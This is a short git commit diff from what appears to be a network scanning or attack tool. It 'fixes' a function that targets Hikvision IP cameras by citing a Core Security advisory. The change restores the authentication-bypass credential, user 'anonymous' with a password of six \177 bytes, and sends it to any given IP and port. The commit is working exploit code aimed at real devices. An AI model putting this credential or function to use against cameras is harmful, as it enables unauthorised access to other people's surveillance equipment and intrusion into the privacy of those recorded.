HikvisionEx1 fix.

This commit is contained in:
cora32 2015-04-20 22:27:44 +03:00
parent d31f9f70f8
commit fae165357d

View File

@ -39,8 +39,7 @@ int BA::checkOutput(const string *buffer, const char *ip, const int port) {
//http://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilities 2 //http://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilities 2
inline bool commenceHikvisionEx1(const char *ip, const int port, bool digestMode) { inline bool commenceHikvisionEx1(const char *ip, const int port, bool digestMode) {
//std::string lpString = string("anonymous") + ":" + string("\177\177\177\177\177\177"); std::string lpString = string("anonymous") + ":" + string("\177\177\177\177\177\177");
std::string lpString = string("anonymous") + ":" + string("123");
string buffer; string buffer;
int res = Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString, digestMode); int res = Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString, digestMode);